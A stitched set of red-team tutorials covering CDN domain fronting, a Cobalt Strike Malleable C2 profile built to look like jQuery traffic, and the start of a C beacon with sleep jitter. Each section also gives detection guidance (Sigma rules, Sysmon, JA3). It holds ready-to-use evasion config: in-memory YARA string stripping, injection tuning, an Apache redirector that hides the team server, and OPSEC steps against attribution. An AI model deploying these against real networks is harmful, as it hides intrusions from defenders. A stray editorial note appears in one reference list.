Sliver also offers mTLS and WireGuard listeners if you want a non-HTTP channel for the fallback leg. As with Cobalt Strike, the utility of fronting comes down to the CDN provider’s enforcement posture, so test the full chain, not just the listener. Verify the flags against your installed Sliver version; the CLI has churned across releases.
7. Serverless Relay: The AzureC2Relay Pattern
You can push the redirector into serverless and get profile-aware validation for free. AzureC2Relay is an Azure Function with an HTTP(S) trigger that validates incoming Beacon traffic against a Cobalt Strike Malleable C2 profile. Requests that do not match the profile’s user-agent, URI paths, headers, and query parameters get redirected to a configurable decoy site. Validated traffic is relayed to a team server inside the same virtual network, further fenced off by a network security group.
The win is twofold. The function scales and rotates trivially, and the team server never touches the public internet: it lives in a VNet reachable only from the function. A defender who somehow enumerates the Azure Function still hits a validator that speaks only to beacons matching your exact profile.
8. OPSEC Hardening for CDN Infrastructure
Fronting hides the destination, not sloppy tradecraft. Harden the whole chain.
| Technique | Abuse Scenario |
|---|---|
| Domain aging + categorization | Register front-adjacent domains early; get them categorized as benign before the op |
| WHOIS privacy | Prevent attribution linking your domains together |
| Role segmentation | Separate boxes for staging, long-haul, and phishing so one burn does not cascade |
| CDN IP allowlisting | Redirector accepts only CDN egress ranges; direct scans get nothing |
| Kill-switch routing | Re-point the CDN origin to a decoy the instant infrastructure is burned |
| TLS randomization | Vary JA3 parameters so default C2 fingerprints do not give you away |
That last one matters more than most operators realise, which brings us to how the blue team actually catches all of this.
9. Common Attacker Techniques
| Technique | Description |
|---|---|
| Classic domain fronting | Front domain differs from origin; both share a CDN edge (largely blocked now) |
| CDN-as-redirector | Own CDN distribution fronts own origin; the durable pattern |
| Domainless fronting | Blank SNI to defeat SNI/Host match enforcement |
| Serverless relay | Azure Function / Worker validates and relays profile-matching traffic only |
| Malleable traffic shaping | Beacon HTTP made to mimic legitimate app traffic via profiles |
10. Defensive Strategies & Detection
Domain fronting is genuinely one of the harder C2 techniques to catch, precisely because nearly every enterprise pours enormous legitimate traffic at CDNs all day. Detection without tuning is a firehose of false positives. That said, several signals are high-confidence.
TLS inspection: the SNI/Host mismatch
The single strongest detection is decrypting TLS at the perimeter and comparing the SNI to the HTTP Host header. In classic fronting they differ, and that mismatch is a near-definitive tell. A proxy that intercepts TLS can compare the Host header to the connection’s SNI, and on mismatch overwrite the domain, log it, and alert. This is MITRE DET0196: outbound HTTPS where the TLS SNI does not match the HTTP Host, especially from curl, wget, or custom binaries with a mismatched or absent SNI targeting CDN-hosted endpoints.
Note the honest limitation: in the CDN-as-redirector model your SNI and Host are often the same value, so there is no mismatch to catch. That is why you also need behavioural and fingerprint detection.
JA3/JA3S fingerprinting
JA3 hashes the TLS handshake into a signature of how the client behaves. Cobalt Strike’s default JA3 hashes are widely published, and crucially these fingerprints survive domain fronting because they reflect the TLS client, not the domain it connects to. Feed pcap into Zeek or write Suricata rules against the tls.ja3 field to flag known C2 handshakes regardless of the front.
Sysmon telemetry
| Event ID | Name | Relevance |
|---|---|---|
| EID 3 | NetworkConnect | Outbound connections with DestinationIp, DestinationHostname; correlate CDN connections to the process |
| EID 22 | DNSQuery | CDN FQDN lookups; hunt unusual processes resolving CDN domains |
| EID 1 | ProcessCreate | Parent/child anomalies around the beacon |
| EID 7 | ImageLoaded | DLL loads for injected beacons |
The high-value hunt is a non-browser process making CDN connections. powershell.exe or rundll32.exe resolving .cloudfront.net is not normal.
title: Non-Browser Process Beaconing to CDN Endpoint
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 3
DestinationHostname|endswith:
- '.cloudfront.net'
- '.azureedge.net'
- '.fastly.net'
- '.workers.dev'
filter:
Image|endswith:
- '\chrome.exe'
- '\msedge.exe'
- '\firefox.exe'
condition: selection and not filter
level: high
ETW and native audit
| ETW Provider | Captures |
|---|---|
Microsoft-Windows-WinINet | HTTP/S transactions including Host headers from WinINet-based C2 |
Microsoft-Windows-DNS-Client | DNS resolution events |
Microsoft-Windows-TCPIP | TCP connection telemetry |
Where Sysmon is not deployed, Security Event 5156 (Filtering Platform Connection) logs allowed connections with local/remote address and port. Enable it with:
auditpol /set /subcategory:"Filtering Platform Connection" /success:enable
Verify ETW provider GUIDs on your own host with logman query providers before you build detections on them.
Beaconing analysis
Fronted C2 still beacons. Periodic, small, regularly timed connections to CDN ranges deserve investigation even when you cannot read the headers. Baseline your legitimate CDN traffic per process first; the anomaly is the point.

11. Lab Exercise: Full Chain, Red vs. Blue
Run the whole thing end to end.
Red, verify the front works:
# On the victim VM: resolves to CDN edge, not your team server
Resolve-DnsName lab-c2.yourdomain.com
.\beacon.exe
Confirm in Wireshark that the ClientHello SNI is lab-c2.yourdomain.com and the Host header is invisible inside the TLS payload. Your team server logs should show the connection sourced from a CDN egress IP, never the victim’s address.
Blue, expose the Host header:
# Transparent TLS intercept to reveal the inner Host
mitmproxy --mode transparent --ssl-insecure
In the mitmproxy console, compare SNI against Host per flow. In the CDN-as-redirector model they match, so you fall back to JA3 (run the pcap through Zeek) and to the Sysmon EID 3 hunt for a non-browser process talking to a CDN. In a classic fronting setup the SNI would read as a third-party front while the Host reads your origin, and that gap is your alert.
12. Tools for CDN C2 Analysis
| Tool | Description | Link |
|---|---|---|
| Cobalt Strike | Commercial C2 with Malleable profiles and c2lint | cobaltstrike.com |
| Sliver | Open-source C2 with native fronting flags | github.com/BishopFox/sliver |
| Nginx | Redirector / reverse proxy | nginx.org |
| Zeek | JA3 generation and network telemetry from pcap | zeek.org |
| Suricata | IDS with tls.ja3 rule support | suricata.io |
| mitmproxy | TLS intercept to reveal Host vs SNI | mitmproxy.org |
| Wireshark | Packet inspection of the ClientHello SNI | wireshark.org |
| Sysmon | Endpoint EID 3/22/1/7 telemetry | learn.microsoft.com |
13. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Proxy: Domain Fronting | T1090.004 | SNI/Host mismatch via TLS inspection (DET0196) |
| Proxy | T1090 | Beaconing to CDN ranges from unusual processes |
| Proxy: External Proxy | T1090.002 | CDN-as-redirector without full front |
| Web Service | T1102 | CDN/cloud-hosted C2 channel analysis |
| Application Layer Protocol: Web | T1071.001 | HTTP/S C2 transport inspection |
| Acquire Infrastructure: Domains | T1583.001 | Newly registered / low-reputation front domains |
| Acquire Infrastructure: Server | T1583.004 | Redirector and team server provisioning |
| Obfuscated Files and Information | T1027 | Malleable profile traffic shaping |
Summary
- Domain fronting hides the C2 destination by splitting the TLS SNI from the HTTP Host header, letting the CDN route to your origin while the firewall sees a benign domain.
- Classic cross-customer fronting is largely dead on CloudFront and App Engine; the durable pattern is CDN-as-redirector fronting your own distribution to your own origin.
- Resilience comes from layering: disposable CDN and redirector out front, an untouchable team server behind, so burning one layer never costs the session.
- The Host header must appear in both
http-getandhttp-postclient blocks, and passingc2lintdoes not mean the CDN will not rewrite your traffic. - Defenders catch it with TLS inspection (SNI/Host mismatch, DET0196), JA3 fingerprinting that survives the front, Sysmon EID 3 hunts for non-browser CDN connections, and beaconing analysis, all of which demand heavy baselining because legitimate CDN traffic is enormous.
Related Tutorials
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
- Passive OSINT: Mapping the Target Without Touching It
References
Malleable C2 Profiles: Blending Into Legitimate Traffic
Objective: Learn how Cobalt Strike’s Malleable C2 DSL reshapes Beacon’s network and memory indicators to impersonate legitimate web traffic, walk through building and validating a jQuery-mimicking profile end to end in a self-owned lab, and understand the behavioral tells defenders still catch when the disguise is technically perfect.
Out-of-the-box Cobalt Strike traffic gets flagged in minutes. Not because the packets look weird to a human, but because every default .profile shipped with the framework has been fingerprinted by Snort, Suricata, JA3 databases, and every EDR vendor with a threat-intel team. When public testing put stock CS profiles against out-of-the-box IPS, detection rates were under 20%. Sounds bad for defenders, until you realize the behavioral half of the story catches almost everything anyway. That gap is the whole point of this post.
We’re going to write a profile, validate it, stand it up against a lab Windows target, capture the traffic, and then flip perspectives and detect ourselves. Framework-wise the walkthrough uses Cobalt Strike syntax (that’s where the DSL lives), but Section 8 shows the same shape in Havoc’s YAML for readers without a license.
1. What a Malleable C2 Profile Actually Is
Malleable C2 is a small domain-specific language that tells Beacon two things at once: how to transform data going into a network transaction, and, read backwards, how to recover that data on the other end. A single output block that says “mask, base64url, prepend jQuery banner, print in body” is simultaneously the encoder on Beacon and the decoder on the Team Server. The profile is a bidirectional program.
The DSL splits into two option scopes:
- Global options (
set sleeptime,set useragent,set library, etc.) apply to overall Beacon behavior. - Local options live inside a block like
http-getorhttp-postand only affect that transaction. Changing a local option inhttp-postdoes not touch whathttp-getemits.
That distinction bites people constantly. If you set a Host header inside http-get { client { } }, it does not carry over to http-post. Every transaction stands alone.
2. Profile Anatomy: Blocks and the Transform Stack
Here are the blocks you’ll actually touch, and what each one owns:
| Block | Owns |
|---|---|
http-get | Shape of Beacon check-in (poll) request and server response: URI, headers, metadata encoding, output encoding |
http-post | Shape of Beacon task-result upload: verb, URI, headers, id field, output field |
http-config | Cross-cutting web-server behavior: response header ordering (set headers), per-header values, trust_x_forwarded_for, block_useragents, allow_useragents |
stage | How Beacon is loaded into memory and the contents of the Reflective DLL: allocator, checksum, compile_time, entry_point, image_size_x86/x64, sleep_mask, syscall_method, cleanup, transform-x86/transform-x64 |
process-inject | Injected content shape and injection behavior: allocator (VirtualAllocEx / NtMapViewOfSection), min_alloc, startrwx, userwx, execute sub-block |
post-ex | Post-exploitation defaults: spawnto_x86, spawnto_x64, amsi_disable, smartinject, obfuscate, pipename |
https-certificate | Certificate served by the Team Server (issuer, subject, validity) |
Inside http-get and http-post, the request/response body flows through a transform pipeline. These operators are the building blocks:
| Operator | Effect |
|---|---|
append "string" | Append literal string to data |
prepend "string" | Prepend literal string |
base64 | Base64-encode |
base64url | URL-safe Base64 |
mask | XOR with a random 4-byte key (key is embedded in payload) |
netbios / netbiosu | NetBIOS encoding (lowercase / uppercase A-P) |
header "Name" | Put the transformed data in this HTTP header |
parameter "Name" | Put the transformed data in this URI query parameter |
uri-append | Append the data directly to the URI path |
print | Put the data in the HTTP body |
Think of it as a Unix pipe. metadata { base64url; parameter "__cfduid"; } means: take the metadata blob, base64url-encode it, stick the result into the __cfduid query parameter. Reverse the reader for the server side and you get the decoder.

3. Global Options: Sleep, Jitter, and the HTTP Library
These four global settings decide half of your network-side detectability:
| Option | Effect |
|---|---|
set sleeptime "60000" | Check-in interval in milliseconds |
set jitter "20" | Percent randomization on the sleep interval |
set useragent "..." | Overrides Beacon’s default User-Agent |
set library "winhttp" | HTTP stack used for callbacks. Defaults to wininet (only option before CS 4.9); can be wininet or winhttp. |
The library choice matters more than it looks. WinINet and WinHTTP present slightly different TLS client hellos, and those different fingerprints are exactly what JA3 hashes. Pick one and know what its JA3 looks like.
4. Crafting the HTTP Layer: The jQuery Profile
Here’s the baseline profile we’ll iterate on. Save it as /opt/profiles/jquery-lab.profile on the Team Server:
# ---- Global options ----
set sleeptime "60000"; # 60-second check-in
set jitter "20"; # +/- 20% timing randomization
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set library "winhttp"; # Use WinHTTP stack (different JA3 than WinINet)
# ---- HTTP GET: check-in / task poll ----
http-get {
set uri "/jquery-3.3.1.min.js"; # Looks like a CDN asset request
client {
header "Host" "code.jquery.com";
header "Accept" "text/html,application/xhtml+xml";
header "Referer" "https://code.jquery.com/";
header "Accept-Encoding" "gzip, deflate";
metadata {
base64url; # Encode Beacon metadata (host, user, pid) as URL-safe b64
parameter "__cfduid"; # Stash it in a CDN-looking cookie parameter
}
}
server {
header "Content-Type" "application/javascript; charset=utf-8";
header "Cache-Control" "max-age=2592000";
header "X-Content-Type-Options" "nosniff";
output {
mask; # XOR with random 4-byte key
base64url; # Encode masked bytes
prepend "/*! jQuery v3.3.1 */"; # Stick a real-looking JS comment on the front
print; # Deliver in HTTP body
}
}
}
# ---- HTTP POST: task results back to Team Server ----
http-post {
set uri "/jquery-3.3.1.min.map"; # Sourcemap for the "jQuery" asset
client {
header "Content-Type" "application/x-www-form-urlencoded";
id {
base64url;
parameter "id"; # Beacon session ID as ?id=...
}
output {
base64url;
print; # Task output in POST body
}
}
server {
header "Content-Type" "application/json";
output {
print;
}
}
}
Read line by line: the URI targets a real jQuery filename, the Host header claims the request is bound for the real CDN, and the Referer chains back to the CDN’s site to complete the story. The metadata block hides Beacon’s fingerprint (hostname, username, PID, internal IP, etc.) in what looks like a CloudFlare session cookie. The server response wears a JavaScript content type, a CDN-style cache header, and a plausible JS comment glued onto the front of the encrypted body. Task output goes back over a POST to the sourcemap URL, which is also a real thing browsers request.
The first time I built one of these I spent an afternoon chasing why the response body wouldn’t decode. The answer: mask before base64url on encode means the server must apply the inverse in the same order, and I’d swapped them mentally. When your Beacon check-in times out with no error and the Team Server log is silent, look at your transform order first. c2lint will not catch that, it’s a semantic bug, not a syntax bug.
5. Killing the PE Tombstone: The stage Block
Even with perfect network camouflage, Beacon’s in-memory image is a YARA magnet. Strings like ReflectiveLoader, beacon.dll, and the standard MS-DOS stub live inside the DLL and get lit up by any decent memory scanner. The stage block rewrites those:
stage {
set allocator "MapViewOfFile"; # Reflective loader uses MapViewOfFile, not VirtualAlloc
set sleep_mask "true"; # Encrypt beacon memory while sleeping
set syscall_method "Indirect"; # CS 4.8+: indirect syscall stubs (harder to hook)
set checksum "0"; # Zero the PE checksum
set compile_time "11 Nov 2021 08:14:00"; # Backdate the build time
set entry_point "92145"; # Non-default EntryPoint
set image_size_x64 "512000";
set image_size_x86 "512000";
set cleanup "true"; # Free the reflective loader package after init
transform-x64 {
strrep "ReflectiveLoader" "MicrosoftLoader"; # Kills the classic YARA hit
strrep "beacon.dll" "";
strrep "This program cannot be run in DOS mode" "";
prepend "\x90\x90\x90\x90"; # 4-byte NOP prepend shifts offsets
}
}
Each of those strrep lines targets a string that appears verbatim in dozens of public Cobalt Strike YARA rules. Removing ReflectiveLoader alone kills the single most-cited signature. The sleep_mask true setting is the one that matters most for memory scanners: while Beacon sleeps, its memory pages get XOR-encrypted, so a scanner walking VirtualQueryEx regions sees random bytes rather than a PE header or plaintext C2 config. Only immediately before the next call does Beacon decrypt itself.
allocator set to MapViewOfFile changes the underlying allocation primitive so the region isn’t a private commit from VirtualAlloc (which is what most tools hunt first). syscall_method Indirect routes through indirect syscall stubs so userland hooks on ntdll don’t see the call frame you’d expect.

6. Process Injection Tuning
Every Beacon post-ex command (screenshot, keylogger, mimikatz) can inject into a spawned host process. The process-inject block controls how:
process-inject {
set allocator "VirtualAllocEx"; # Or "NtMapViewOfSection" for section-based injection
set min_alloc "4096"; # Never allocate less than a page
set startrwx "false"; # Initial permissions: RW (not RWX)
set userwx "false"; # Final permissions: RX (not RWX)
transform-x64 {
prepend "\x90\x90\x90\x90"; # Pad injected content
}
execute {
CreateThread "ntdll!RtlUserThreadStart+0x21";
SetThreadContext;
NtQueueApcThread;
RtlCreateUserThread;
}
}
RWX pages in a remote process are the loudest possible injection signal. Every EDR built in the last decade alerts on cross-process RWX allocation, and Microsoft-Windows-Threat-Intelligence ETW will fire on it. Setting startrwx false allocates RW, writes the payload, then VirtualProtects down to RX for execution. Setting userwx false guarantees the final permission is RX, not RWX. Two VirtualProtect calls versus one direct RWX allocation, and the noise drops dramatically.
The execute block is an ordered try-list. Beacon walks it and picks the first technique that works against the target process. Each has a different footprint:
CreateThread "ntdll!RtlUserThreadStart+0x21"starts a local thread at a fake return address insidentdll, so a stack walk resembles a normal thread.SetThreadContexthijacks an existing thread (T1055.003), no new thread creation event.NtQueueApcThreaduses APCs (T1055.004), noCreateRemoteThreadtelemetry.RtlCreateUserThreadis the classic and the loudest, kept last as a fallback.
Ordering matters. Put the quietest technique first for the environment you’re operating in.
7. http-config and Header Order (The One Everyone Misses)
Header order is a fingerprint. Apache 2.4 does not emit Date, Server, Content-Length, Keep-Alive, Connection, Content-Type in that exact sequence for every response, and Cobalt Strike’s default doesn’t match Apache byte-for-byte either. Analysts fingerprint on the ordering more often than on the header values.
http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
header "Server" "Apache/2.4.54 (Ubuntu)";
header "Keep-Alive" "timeout=10, max=100";
header "Connection" "Keep-Alive";
set trust_x_forwarded_for "true";
set block_useragents "curl*,lynx*,wget*,python-requests*";
set allow_useragents "*Mozilla*";
}
block_useragents blackholes analyst scanners hitting the redirector with curl or python-requests. allow_useragents restricts to Mozilla-family. trust_x_forwarded_for makes the Team Server log the real client IP rather than the redirector.
Before deploying, verify the ordering matches a real Apache install. Curl a genuine Apache 2.4 server and compare header-by-header with a curl against your Team Server. If they differ, adjust set headers.
8. Validating and Serving the Profile
Cobalt Strike ships c2lint. Run it every time you touch a profile:
# On the Team Server host
./c2lint /opt/profiles/jquery-lab.profile
# Expected output: parsed GET/POST URIs, headers, transforms, no errors
c2lint catches syntax errors, missing required blocks, obvious foot-guns (like transforms that can’t round-trip), and prints the effective config. It does not know whether your headers match real Apache, or whether code.jquery.com is a plausible Host header for the URL you chose. Those are on you.
Start the Team Server pointing at the profile:
./teamserver 10.10.10.5 'SuperSecretPassword' /opt/profiles/jquery-lab.profile
Then in the Aggressor client, create an HTTPS listener on 443 with a lab-only self-signed cert (or a Let’s Encrypt cert for the redirector domain if you own one for lab use).
Havoc C2 equivalent (no license needed)
For readers without a Cobalt Strike license, Havoc’s listener.yaml accepts the same shape of options, expressed as YAML. It’s not the same DSL, but the concepts port cleanly (URIs, header overrides, User-Agent, sleep, jitter, Host header) so you can run the whole exercise using the open-source framework. The lab detection work below applies unchanged.
9. The Redirector: Decoupling Domain from Team Server
Never let a Beacon connect straight to the Team Server. Sit an Apache redirector in front:
# /etc/apache2/sites-enabled/redirector.conf
<VirtualHost *:443>
SSLEngine on
SSLCertificateFile /etc/ssl/lab/lab.crt
SSLCertificateKeyFile /etc/ssl/lab/lab.key
RewriteEngine On
# Only forward the exact Beacon URIs to the Team Server
RewriteCond %{REQUEST_URI} ^/jquery-3\.3\.1\.min\.(js|map)$ [NC]
RewriteRule ^(.*)$ https://TEAMSERVER_IP:443$1 [P,L]
# Everything else: 403. Analysts and scanners see a wall.
RewriteRule ^ - [F,L]
</VirtualHost>
Enable modules and reload:
sudo a2enmod ssl rewrite proxy proxy_http
sudo systemctl reload apache2
The redirector’s job is threefold: hide the real Team Server IP behind a throwaway VPS, silently drop any request that isn’t a valid Beacon URI (so a curious analyst hitting / gets a stock Apache 403, not a Cobalt Strike default page), and give you a burnable frontend you can rotate without touching the Team Server.

10. Capturing and Verifying the Traffic
With Beacon running on the Windows lab VM, capture on the redirector:
sudo tcpdump -i any -w /tmp/beacon.pcap 'port 443'
Open in Wireshark, decrypt with the private key, and look at the check-in request. It should be indistinguishable from a browser fetching code.jquery.com/jquery-3.3.1.min.js, right down to the header ordering and the CDN-shaped cookie parameter. The server response body starts with /*! jQuery v3.3.1 */ then a base64url blob, which reads as a slightly odd but not obviously malicious JS asset.
Now flip perspectives and extract the config from the Beacon binary itself:
pip install dissect.cobaltstrike
python3 -c "
from dissect.cobaltstrike.beacon import BeaconConfig
c = BeaconConfig.from_path('beacon.bin')
print(c.settings)
"
If you can pull the profile back out of the binary, so can a defender who catches a Beacon sample. That is the point of running it: the network camouflage might be perfect, but any captured payload gives up its own profile. Design accordingly.
11. Detecting Malleable C2: What Survives the Disguise
Behavioral detection eats network camouflage for breakfast. Here’s what still fires.
Sysmon events to hunt
| Event ID | What it catches |
|---|---|
Event ID 3 (Network Connection) | Outbound HTTPS from processes that have no business making it: rundll32.exe, dllhost.exe, notepad.exe, spoolsv.exe. |
Event ID 8 (CreateRemoteThread) | Cross-process thread creation from process-inject. |
Event ID 10 (ProcessAccess) | PROCESS_VM_WRITE + PROCESS_CREATE_THREAD handle opens, especially against LSASS or the spawnto target. |
Event ID 17 / 18 (Pipe Created / Connected) | Beacon SMB/named-pipe C2. Watch \msagent_* and \postex_*. Rename in post-ex { set pipename } but the shape stays odd. |
Event ID 22 (DNS Query) | DNS Beacon: unusually long or high-entropy hostnames at consistent frequency. |
Seeing 10 → 8 → 17 → 3 on the same process within seconds, with dllhost.exe as the target, is a high-confidence CS pattern regardless of what the packets look like.
Windows Security log
4688 (process create with parent + command line, once you enable command-line auditing) catches the classic Office spawning rundll32.exe. 7045 and 4697 catch the temporary service that GetSystem drops: a 7-character random alphanumeric service name in C:\Windows\. The service gets removed after escalation, but the event log entry does not. Hunt for it retroactively.
ETW providers
| Provider | Why it matters |
|---|---|
Microsoft-Windows-Threat-Intelligence | Fires on VirtualAllocEx, WriteProcessMemory, SetThreadContext, QueueUserAPC, the exact primitives process-inject uses. Requires a PPL consumer (an EDR driver, basically). |
Microsoft-Windows-DNS-Client | DNS Beacon telemetry. |
Microsoft-Windows-WinHttp | Correlates with set library "winhttp". If a process nobody expected is calling WinHTTP, question it. |
Network-side detection
- RITA / Zeek statistical beaconing. RITA scores connection periodicity. Even with
set jitter "50", a Beacon checking in on a 60-second base still clusters around 60 seconds. RITA catches jitter that a signature-based tool ignores. - JA3/JA3S. Cobalt Strike’s WinINet and WinHTTP TLS stacks produce known JA3 hashes. Enforce TLS inspection in the lab and match against public JA3 databases.
- Header order diff. Byte-compare your Team Server’s response headers against a real Apache 2.4 install. Order drift is a fingerprint.
- CT logs. Self-signed or freshly-issued certs stand out against baseline browsing.
- Snort/Suricata alone are not enough. Public benchmarks put stock IPS detection of common CS profiles under 20%. That’s why the behavioral layer above matters.
Sigma rules
Non-browser outbound HTTPS:
title: Non-Browser Process Outbound HTTPS to CDN-like Domains
logsource:
product: windows
category: network_connection # Sysmon Event ID 3
detection:
selection:
EventID: 3
DestinationPort:
- 443
- 80
Initiated: 'true'
filter_browsers:
Image|endswith:
- '\chrome.exe'
- '\firefox.exe'
- '\msedge.exe'
- '\iexplore.exe'
filter_system:
Image|startswith: 'C:\Windows\System32\'
condition: selection and not filter_browsers and not filter_system
level: medium
RWX cross-process access (catches startrwx true profiles and stock CS):
title: Cross-Process RWX Access to Common Spawnto Targets
logsource:
product: windows
category: process_access # Sysmon Event ID 10
detection:
selection:
EventID: 10
GrantedAccess: '0x1fffff' # PROCESS_ALL_ACCESS, includes VM_WRITE + CREATE_THREAD
TargetImage|endswith:
- '\svchost.exe'
- '\dllhost.exe'
- '\notepad.exe'
condition: selection
level: high
Hardening
- Enable process creation auditing with command line via GPO:
Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy → Detailed Tracking → Audit Process Creation. - Deploy Sysmon with a tuned schema (SwiftOnSecurity or olafhartong’s
sysmon-modular), specifically covering Event IDs 8, 10, 17, 18. - TLS inspection at the perimeter. If you can’t crack the TLS, none of the HTTP-layer detections work.
- Application allowlisting (WDAC/AppLocker) to block
rundll32.exe,mshta.exe,regsvr32.exefrom executing unsigned payloads. - RITA or Zeek for jitter-resilient beacon detection on internal flows.
- Disable staging on your own red-team ops (staging has real OPSEC issues); defenders should alert on any HTTP response delivering a reflective PE (content-type mismatch plus high-entropy body is a strong signal).
- Named pipe hunt for
\msagent_*,\postex_*, and any custom pipe names frompost-ex { set pipename ... }.

12. Tools
| Tool | Use | Link |
|---|---|---|
c2lint | Malleable profile syntax + semantic validation | ships with Cobalt Strike |
| Havoc C2 | Open-source alternative supporting YAML profiles | github.com/HavocFramework/Havoc |
| Apache mod_rewrite | Redirector in front of the Team Server | apache.org |
| Wireshark | PCAP inspection, TLS decryption with server key | wireshark.org |
| RITA | Statistical beaconing detection across Zeek logs | activecountermeasures.com |
| Zeek | Network flow logging (feeds RITA) | zeek.org |
dissect.cobaltstrike | Extract Beacon config from a captured binary | github.com/fox-it/dissect.cobaltstrike |
| Sysmon | Process, network, injection telemetry | sysinternals |
| YARA | Static rules against Beacon in-memory or on-disk | virustotal.github.io/yara |
| threatexpress/malleable-c2 | Reference profile repository | github.com/threatexpress/malleable-c2 |
13. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Data Obfuscation: Protocol or Service Impersonation | T1001.003 | Header-order diff vs. real service; certificate transparency review |
| Application Layer Protocol: Web Protocols | T1071.001 | Sysmon EID 3 on non-browser processes |
| Application Layer Protocol: DNS | T1071.004 | Sysmon EID 22 for high-entropy / long-hostname queries |
| Proxy: Internal Proxy | T1090.001 | Sysmon EID 17/18 on \msagent_*, \postex_* pipes |
| Proxy: Domain Fronting | T1090.004 | Perimeter TLS inspection; SNI vs. Host header mismatch |
| Process Injection: DLL Injection | T1055.001 | Sysmon EID 10 + EID 8; TI-ETW WriteProcessMemory |
| Process Injection: Thread Execution Hijacking | T1055.003 | TI-ETW SetThreadContext |
| Process Injection: APC | T1055.004 | TI-ETW QueueUserAPC / NtQueueApcThread |
| Obfuscated Files or Information | T1027 | High-entropy HTTP body + suspicious content-type mismatch |
| Masquerading | T1036 | spawnto process anomaly; PE header inconsistency vs. signed baseline |
| Hide Infrastructure | T1665 | Redirector detection via response fingerprint drift |
| Exfiltration Over C2 Channel | T1041 | Outbound POST volume anomaly on the C2 URI |
| Command and Control (tactic) | TA0011 | All of the above, correlated |
Summary
- A Malleable C2 profile is a bidirectional program: the same transform stack that encodes on Beacon decodes on the Team Server. Get the operator order wrong once and nothing round-trips.
- Network camouflage buys you evasion of signature-based IPS but almost nothing against behavioral detection. Sysmon 3/8/10/17, TI-ETW, and RITA don’t care what your headers look like.
- The
stageblock is where memory-scanner evasion lives.sleep_mask,strreponReflectiveLoader,allocator MapViewOfFile, and PE header spoofing kill the classic YARA and pattern hits. process-injectwithstartrwx falseanduserwx falseavoids the RWX allocation IOC that lights up every EDR. Pick yourexecuteorder deliberately.- Header ordering and JA3 are the two “perfect profile” tells nobody remembers to fix. Diff your responses byte-for-byte against a real Apache; know what your HTTP-library JA3 hash is.
- Any captured Beacon gives up its profile via
dissect.cobaltstrike. Design ops assuming the disguise will eventually be reverse-engineered from a sample.
Related Tutorials
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
- Passive OSINT: Mapping the Target Without Touching It
References
- [ote to writer:** For readers without a licensed Cobalt Strike, the tutorial should include an equivalent using Havoc C2
- hstechdocs.helpsystems.com
- github.com
- github.com
- unit42.paloaltonetworks.com
- unit42.paloaltonetworks.com
- www.vectra.ai
- hivesecurity.gitlab.io
C2 Beaconing: Sleep, Jitter, and Communication Patterns
You’ve got a shell on the target. Now what? That implant needs to call home, but every check-in is a detection opportunity. The difference between a beacon that survives 72 hours and one that gets flagged in 20 minutes usually comes down to three things: how long it sleeps, how much it randomizes that sleep, and what the traffic looks like on the wire. This tutorial builds a minimal C beacon from scratch, runs it against a self-made listener, captures the traffic, and then shows you exactly how defenders catch it.
1. Beacon Architecture in 60 Seconds
A C2 beacon is a loop. Wake up, phone home, check for tasks, execute if any, go back to sleep. The operator never talks directly to the implant; traffic flows through at least one redirector or team server sitting between them.
The critical moving parts:
| Component | Role |
|---|---|
| Implant (beacon) | Runs on the target; initiates all outbound comms on a timer |
| Team server | Queues tasks, receives output, manages sessions |
| Redirector | Proxies traffic so the team server IP stays hidden |
| Sleep timer | Millisecond wait between check-ins (Sleep, NtDelayExecution) |
| Jitter | Random variance applied to the timer so intervals aren’t uniform |
| Protocol layer | HTTP/S, DNS, SMB named pipe, raw TCP |
Staged implants pull down a second-stage payload after initial execution. Stageless implants carry everything. For beaconing behavior, the distinction doesn’t matter: both enter the same sleep/check-in loop once running.

2. The Sleep Timer and Windows APIs
The simplest beacon calls Sleep(60000) and checks in every minute. Cobalt Strike’s default sleeptime is exactly 60000 ms. That works, but kernel32!Sleep is one of the first API calls EDR vendors hook because it’s trivial to instrument.
Alternatives to Sleep
| API / Syscall | Why a beacon uses it |
|---|---|
Sleep(DWORD dwMilliseconds) | Simplest; heavily hooked by EDR |
WaitForSingleObject(hEvent, dwTimeout) | Event-driven wait; slightly less suspicious call site |
CreateWaitableTimerEx + SetWaitableTimer | High-precision timer object; avoids Sleep import entirely |
NtDelayExecution(BOOLEAN Alertable, PLARGE_INTEGER Interval) | Direct ntdll syscall; bypasses kernel32 hooks; takes negative 100-ns units |
I burned an afternoon the first time I used NtDelayExecution because I forgot the interval is negative (relative time) and in 100-nanosecond increments. A 30-second sleep is -300000000 in LARGE_INTEGER.QuadPart, not -30000. Get that wrong and your beacon either never wakes up or fires continuously.
3. Jitter: Formula and Why 0% Gets You Caught
Jitter varies the sleep by a percentage so the inter-arrival times aren’t perfectly periodic. The formula is straightforward:
actual_sleep = base_ms +/- (base_ms * jitter_pct / 100)
A 60-second base with 25% jitter produces check-ins between 45 and 75 seconds. With 0% jitter, every interval is identical, and even a basic autocorrelation on Zeek conn.log timestamps lights up like a Christmas tree.
Cobalt Strike accepts jitter values 0 through 99. In practice, anything below 15% is still fairly detectable by RITA. For initial access, 40-60% jitter during the first 24 to 72 hours is a reasonable starting point.
The C Implementation
#include <windows.h>
// RtlRandomEx is exported by ntdll.dll
extern ULONG NTAPI RtlRandomEx(PULONG Seed);
DWORD compute_sleep(DWORD base_ms, DWORD jitter_pct, PULONG seed) {
if (jitter_pct == 0) return base_ms;
DWORD range = (base_ms * jitter_pct) / 100;
DWORD rnd = RtlRandomEx(seed) % (range * 2 + 1);
return (base_ms - range) + rnd;
}
RtlRandomEx is available from user mode without any special stubs on all modern Windows versions. Link against ntdll.lib (or -lntdll with MinGW). If you want to avoid the import, seed rand() with GetTickCount(), but the randomness quality is worse.

4. Phase-Aware Beaconing
